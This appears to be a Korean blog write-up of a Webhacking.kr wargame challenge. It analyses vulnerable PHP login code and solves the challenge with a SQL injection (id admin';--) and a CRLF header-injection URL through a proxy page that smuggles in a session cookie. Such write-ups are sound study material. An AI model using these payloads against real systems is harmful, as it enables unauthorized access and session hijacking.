admin page에 접속해야하는 문제이다. admin page를 눌러보면은
login 하는 팝업 창이 뜬다. 일단 아이디를 모르기 때문에 아무거나 쳐보고 들어가겠다.
몇번 아이디를 틀리고 Cancel을 눌러보면은 source 코드를 볼 수 있는 링크를 준다.
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
?><hr><a href=./?view_source=1>view-source</a>
위에서부터 차근히 코드 분석을 해보겠다.
이 코드는 /admin/ 주소를 기준으로 한다.
1. logout = 1 이면은 logout을 한다.
2. login Session이 존재할 시
2-1. 만약 login Session이 어드민이고 SERVER[Remote_Addr]이 172.17.0. ~ 으로 시작하는 주소이면은 flag를 출력한다.
3. login Session이 없을 시
3-1. SERVER[HTTP_REFERER](전 페이지)가 logout=1 페이지일 시 401 unauthorized응답을 헤더로 보낸다
3-2. SERVER[PHP_AUTH_USER]가 있다면은 id와 pw를 member테이블에서 select 해온다. (pw는 md5로 암호화)
만약 로그인 결과가 있으면은 login Session을 로그인 결과의 id로 한다.
3-3. login Session이 없으면 3-1과 같이 401 unauthrozied 응답을 보내고 Login fail을 출력한다.
코드를 분석해보니 admin 아이디를 sql injection 해오고 172.17.0. ~ 의 가상주소로 접속을 해야된다.
일단 admin아이디부터 탈취해보자.
$query = "select id from member where id='{$id}' and pw='{$pw}'";
pw는 md5암호화가 되어있으니 id로 인젝션을 해주면 된다.
id에 admin';-- 을 넣으면 간단히 admin으로 로그인이 가능하다.
그러나 가상의 ip주소로 접속할 수 있다한다.
일단 일반적인 컴퓨터 ip는 172.17.0.~ 이런 형태를 띄지 않는다.
인터넷에 찾아보니 저 ip 형태는 도커를 사용할때의 ip주소라고 한다.
다시 main으로 돌아가보면은 proxy를 보여주는 링크가 있다.
이 웹페이지에서 /admin/을 접속한 후 proxy를 사용해 Response를 보면은 ip주소가 172.17.0~ 일테니 flag를 찾을 수 있을 것 같다.
http://webhacking.kr:10008/proxy.php?page=/admin/ 이 주소로 접속하면은 401 Unauthorized를 response하는데 admin계정으로 접속하지 않아서 이다. 근데 이렇게 proxy페이지를 사용해 접속하면은 로그인 창도 안뜨고 Request에 admin계정을 넣을 방법이 없다.
이때 필요한게 Header Injection이다.
URL에서 Header에 원하는 값을 주입할 수 있다.
개행문자 %0d0a를 사용하는데 다른 개행문자는 안되고 꼭 %0d0a형식만 사용 가능하다.
http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0D%0AHost:%20webhacking.kr:10008%0D%0AConnection:%20Close%0D%0A%0D%0A
이렇게 하면 Request에 Header가 새로 주입된 걸 확인할 수 있다. 이걸 이용해 admin계정도 header에 추가해보겠다.
#1. 잘못된 풀이
로그인할 때 proxy를 확인해보면은
Authorization: Basic YWRtaW4nOy0tIDoxMg== 이 부분이 base64디코딩하면
id와 pw를 가지고 있는 부분이기에 이걸 header에 추가하면 되겠다 생각했다.
하지만 Authorization을 추가했다고 admin계정으로 로그인되지않고 똑같이 401코드를 응답했다.
저부분으로 로그인 판단을 하는게 아니라 로그인되어있는 Cookie의 PHPSESSID를 이용해야 했다.
#2. 정확한 풀이
그래서 PHPSESSID를 Header에 추가시켜주었다.
Cookie:%20PHPSESSID=nggn0evuvgemukli5u1dbd7rao
http://webhacking.kr:10008/proxy.php?page=/admin/%20HTTP/1.1%0D%0AHost:%20webhacking.kr:10008%0D%0ACookie:%20PHPSESSID=nggn0evuvgemukli5u1dbd7rao%0D%0AConnection:%20Close%0D%0A%0D%0A
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr old-34풀이 (2) | 2024.02.08 |
---|---|
Webhacking.kr old-55 풀이 (2) | 2024.02.06 |
Webhacking.kr old-48 풀이 (0) | 2024.01.27 |
Webhacking.kr old-53풀이 (0) | 2024.01.07 |
Webhacking.kr old-35 풀이 (0) | 2024.01.07 |